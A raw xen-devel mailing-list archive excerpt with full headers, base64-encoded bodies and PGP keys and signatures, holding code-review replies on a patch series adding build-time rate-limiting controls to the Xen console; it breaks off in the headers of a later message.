Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 16 Jul 2026 11:59:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 3/4] xen/console: add build-time rate-limiting controls
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-4-dmukhin@ford.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G+YHccJY8PvWSq2K2yiae2KGiAv
 1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50wvDohN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PRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260715201902.2984407-4-dmukhin@ford.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------jcFj5vz51uBZ489HcyvhyZRe"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784195974872
X-purgate-ID: tlsNG-16d1c6/1784195982-F5C0F77B-895B3B7B/0/0
X-purgate-type: clean
X-purgate-size: 8301

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------jcFj5vz51uBZ489HcyvhyZRe
Content-Type: multipart/mixed; boundary="------------z2sl2V2KOujVkXsgWqDh00BU";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
Message-ID: <09f6fedf-a0f9-4f59-b7a6-1c0e57c49615@vates.tech>
Subject: Re: [PATCH v3 3/4] xen/console: add build-time rate-limiting controls
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-4-dmukhin@ford.com>
In-Reply-To: <20260715201902.2984407-4-dmukhin@ford.com>

--------------z2sl2V2KOujVkXsgWqDh00BU
Content-Type: multipart/mixed; boundary="------------NSU2K1UzpAzQoL5CpDK0Dy8G"

--------------NSU2K1UzpAzQoL5CpDK0Dy8G
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTUvMDcvMjAyNiDDoCAyMjoyNCwgZG11a2hpbkBmb3JkLmNvbSBhIMOpY3JpdMKgOg0K
PiBGcm9tOiBEZW5pcyBNdWtoaW4gPGRtdWtoaW5AZm9yZC5jb20+DQo+IA0KPiBJbnRyb2R1
Y2UgQ09ORklHX1BSSU5US19SQVRFTElNSVRfTVMgYW5kIENPTkZJR19QUklOVEtfUkFURUxJ
TUlUX0JVUlNUDQo+IGZvciBjb25maWd1cmluZyByYXRlLWxpbWl0aW5nIHBvbGljeSBhdCB0
aGUgY29tcGlsZSB0aW1lLg0KPiANCj4gVXNlIHN5bWJvbHMgZm9yIGdsb2JhbCByYXRlLWxp
bWl0aW5nIGluaXRpYWxpemF0aW9uIGluIHRoZSBjb25zb2xlIGRyaXZlci4NCj4gDQo+IFNp
Z25lZC1vZmYtYnk6IERlbmlzIE11a2hpbiA8ZG11a2hpbkBmb3JkLmNvbT4NCj4gLS0tDQo+
IENoYW5nZXMgc2luY2UgdjI6DQo+IC0gbW92ZWQgcmF0ZS1saW1pdGluZyBjb250cm9scyB0
byBjb21tb24vS2NvbmZpZw0KPiAtLS0NCj4gICB4ZW4vY29tbW9uL0tjb25maWcgICAgICAg
ICB8IDI5ICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrDQo+ICAgeGVuL2RyaXZlcnMv
Y2hhci9jb25zb2xlLmMgfCAgNiArKysrLS0NCj4gICAyIGZpbGVzIGNoYW5nZWQsIDMzIGlu
c2VydGlvbnMoKyksIDIgZGVsZXRpb25zKC0pDQo+IA0KPiBkaWZmIC0tZ2l0IGEveGVuL2Nv
bW1vbi9LY29uZmlnIGIveGVuL2NvbW1vbi9LY29uZmlnD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GluZyBpdCB0byBmYWxzZSB3
b3VsZCBzZXQgYm90aCB0byAwIGhlbmNlIGRpc2FibGluZyByYXRlIGxpbWl0aW5nIGJ5IA0K
ZGVmYXVsdC4NCg0KQW5kIHdlIGRvIHNvbWV0aGluZyBsaWtlDQoNCnN0YXRpYyBjb25zdCB1
bnNpZ25lZCBpbnQgcHJpbnRrX3JhdGVsaW1pdF9tcyA9DQogICBJU19FTkFCTEVEKENPTkZJ
R19QUklOVEtfUkFURUxJTUlUKSA/IENPTkZJR19QUklOVEtfUkFURUxJTUlUX01TIDogMDsN
Cg0KKHNpbWlsYXJseSBmb3IgYnVyc3QpDQoNCj8NCg0KVGVkZHkNCg==
--------------NSU2K1UzpAzQoL5CpDK0Dy8G
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+s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+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------NSU2K1UzpAzQoL5CpDK0Dy8G--

--------------z2sl2V2KOujVkXsgWqDh00BU--

--------------jcFj5vz51uBZ489HcyvhyZRe
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpYq4YFAwAAAAAACgkQZg+p0QLLz9Cm
ugv/XO6Jd+WJkv6cZwvfcaIa72i3lAIXgBdQlY+D2blyATB8rwW2sLkxlRZipqoFrblx3cKsm6Uv
QaMUUi+QtcDAvAHkCelSxIEuLaj5J7i6O+vtlcJXu91BP/+2m9bzo9XP6EWwCeQgDeZDXf/v0xiI
gggb3wINP9zQA7xcLEdud9fXbrhdSCIbHjIub3fRc6RMZUZYo/CI1h0HxAJd3T8iHQhDuw2SNJE9
52W2VZisYIPzoVs99nbEkLBTY1WSzcAtooMhagroDBLGCugaN2meX3buCeP3WkIKwz3K+fy/NX35
nH/rLPClYF5+fkvXjQkAVovWoDGo3WCtTGFl9zV9tshGtdJK/vuVmE01dj9os3VTzu5y7MK2Qih1
Eq4Rl/K6yiWXUdtP4PBd6cOp8YkEM0TttCDo+Z3jD72GT8/7gGpHAXDqqLoxkcArxLtckkj74uHf
m8/EWgY3a7S/V1gigJj2aZAGd1Wmm2+v0C96BSt4qxjG1C0mnnif0N94vpHh
=lUII
-----END PGP SIGNATURE-----

--------------jcFj5vz51uBZ489HcyvhyZRe--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 10:02:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 10:02:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363729.1615270 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIv0-0001a1-SI; Thu, 16 Jul 2026 10:02:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363729.1615270; Thu, 16 Jul 2026 10:02:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIv0-0001Zu-P9; Thu, 16 Jul 2026 10:02:14 +0000
Received: by outflank-mailman (input) for mailman id 1363729;
 Thu, 16 Jul 2026 10:02:13 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a60518a000edb5@swg.vates.tech>)
 id 1wkIuz-0001Zm-HQ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 10:02:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkIuy-0009iJ-Qz
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:02:12 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a60518a000edb5@swg.vates.tech>)
 id 6a58ac21-e002-0a2a0a5209dd-0a2a45078f10-14
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:02:12 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a60518a000edb5@swg.vates.tech>)
 id 6a58ac24-b4ea-0a2a45070019-b9ff1c22a61b-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:02:12 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6a60518a000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 10:02:05 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 51902823CB;
 Thu, 16 Jul 2026 12:02:04 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Y00WvbxkXwcOC1hAdBc59G3fOspHqMEwIzOTBEhNT94=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=cqB2Sbx+x6Q2SEZv+mo2g+X4IlUj0ySmB06JdH48Ar1noYZKmOS20rv4hx6JKXOrVzqaYdAtg
 wGugdboWAPhw4B2HeFu30XVvfR01UnePFfwIaVugqo6wXEX9aMho8ZZ+tuVpdciYoo+51ki/ovJ
 A7KHtMAxloQvAn+wbwzeY6XwnX+VC6x7CG2vHndLDuBkyd1elEPbCJMT+odk0uMPEFpn08aqHRP
 q7CicrRVzk4Im8vp3vVoU2OHyuFbCi3s9fqdVndxHLM8z4yUGRgjwEWIoY3f2BJ1kdSE4/dAUt3
 Vl+hCmu1rdlSfBpRbnrZ9CD82/6hk3npKxNSjPNXCb6g==
X-Zone-Loop: ec3c924e59161904f1e95179275869c5a2bf314e408d
x-campaign-type: default
x-transaction-id: fc2168ed-1236-4e7b-8ba1-9020ccb34c6c
x-swg-uid: 01-9589636c-8e99-40a9-bbf2-c68880a11908
X-Mailer: Sweego
Message-ID:
 <1784196125.8631fc262581453bbf619ec5b2062170.19f6a60518a000edb5@vates.tech>
x-swg-bid: 1784196125.8631fc262581453bbf619ec5b2062170.19f6a60518a000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 16 Jul 2026 12:02:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 4/4] xen/console: reduce number of printouts in
 __printk_ratelimit()
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-5-dmukhin@ford.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjA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xyg9hfdrRgjMRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ov
 XoK4jm+Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260715201902.2984407-5-dmukhin@ford.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------zNex8WRIylXGsRM09o4Xlkyj"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784196124537
X-purgate-ID: tlsNG-ef75cf/1784196132-A56C2AE4-ABB5A970/0/0
X-purgate-type: clean
X-purgate-size: 5332

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------zNex8WRIylXGsRM09o4Xlkyj
Content-Type: multipart/mixed; boundary="------------0tAlzNknhj27VKV0PfRBV3uo";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
Message-ID: <93322931-d0df-4333-ab8c-9e16430882f6@vates.tech>
Subject: Re: [PATCH v3 4/4] xen/console: reduce number of printouts in
 __printk_ratelimit()
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-5-dmukhin@ford.com>
In-Reply-To: <20260715201902.2984407-5-dmukhin@ford.com>

--------------0tAlzNknhj27VKV0PfRBV3uo
Content-Type: multipart/mixed; boundary="------------jj9YFZNyrYKd9ysqdlJrIAjS"

--------------jj9YFZNyrYKd9ysqdlJrIAjS
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTUvMDcvMjAyNiDDoCAyMjoyNCwgZG11a2hpbkBmb3JkLmNvbSBhIMOpY3JpdMKgOg0K
PiBGcm9tOiBEZW5pcyBNdWtoaW4gPGRtdWtoaW5AZm9yZC5jb20+DQo+IA0KPiBGb2xkIHNl
dmVyYWwgX19wdXRzdHIoKSBjYWxscyBpbnRvIG9uZSBhcm91bmQgbm90aWZpY2F0aW9uIG9m
IGhvdyBtYW55DQo+IG1lc3NhZ2VzIGhhdmUgYmVlbiByYXRlLWxpbWl0ZWQuDQo+IA0KPiBO
b3QgYSBmdW5jdGlvbmFsIGNoYW5nZS4NCj4gDQo+IFNpZ25lZC1vZmYtYnk6IERlbmlzIE11
a2hpbiA8ZG11a2hpbkBmb3JkLmNvbT4NCg0KUmV2aWV3ZWQtYnk6IFRlZGR5IEFzdGllIDx0
ZWRkeS5hc3RpZUB2YXRlcy50ZWNoPg0K
--------------jj9YFZNyrYKd9ysqdlJrIAjS
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug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un55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------jj9YFZNyrYKd9ysqdlJrIAjS--

--------------0tAlzNknhj27VKV0PfRBV3uo--

--------------zNex8WRIylXGsRM09o4Xlkyj
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpYrBsFAwAAAAAACgkQZg+p0QLLz9Bu
wgwAjtGMlOyxZeKCxuyy6xPMu881TvhAk+p2A4Ndx5LUHB/Y5mqRhRSFNKVh8y6D4RvefdQWa8pT
VBYsJ7cRMH3HPkY6gtTuwHsd5QxTobSfCN89hULtcPhbF9SSmCxWxFcIP//mX/1Q8I2+Lk5z9QsE
EcxQeIt8kBmkeCWSB8Uk+4eaojtcccNje0Lcs4GNchdlNYKdTVOQphc0vVxwIuWUIlTYsSK9Z2pz
5Llv0NCx4AW4hKp0/aCV5z6mKWj86L0w5QTHVqUG3ZVJpxCoUPVlMwN4tN4/UntUBtGPKgn5vAA/
jsSgQ1BQclzN4p5nG6dHWdxQrvqoKkKCTXL5Oq3KUlYXh8AU6z6aLiZZliw1ELHww613o7T1MfVO
mNl6XW4KE2MEYZTR5mDSIjLQ4QSPsSDu7UlO9C3jIVua/XXdAsHSq67MXl6KnXaWpRG7P8PAnXXH
bylbVtH0EitPUCy8s/P77YOJc1o1Lat1KfClHu3sNiOzzeCS9o2zcKwkIHWy
=X5A0
-----END PGP SIGNATURE-----

--------------zNex8WRIylXGsRM09o4Xlkyj--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 10:27:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 10:27:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363745.1615279 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJIr-00057S-LE; Thu, 16 Jul 2026 10:26:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363745.1615279; Thu, 16 Jul 2026 10:26:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJIr-00057J-IG; Thu, 16 Jul 2026 10:26:53 +0000
Received: by outflank-mailman (input) for mailman id 1363745;
 Thu, 16 Jul 2026 10:26:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkJIq-000573-9D
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 10:26:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkJIp-000F2N-ED
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:26:51 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58b1e9-2eae-0a2a0a5409dd-0a2a45079c60-6
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:26:51 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58b1eb-b4ea-0a2a45070019-d155dd34b910-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:26:51 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f3e6cc44aso3753840f8f.3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 03:26:51 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
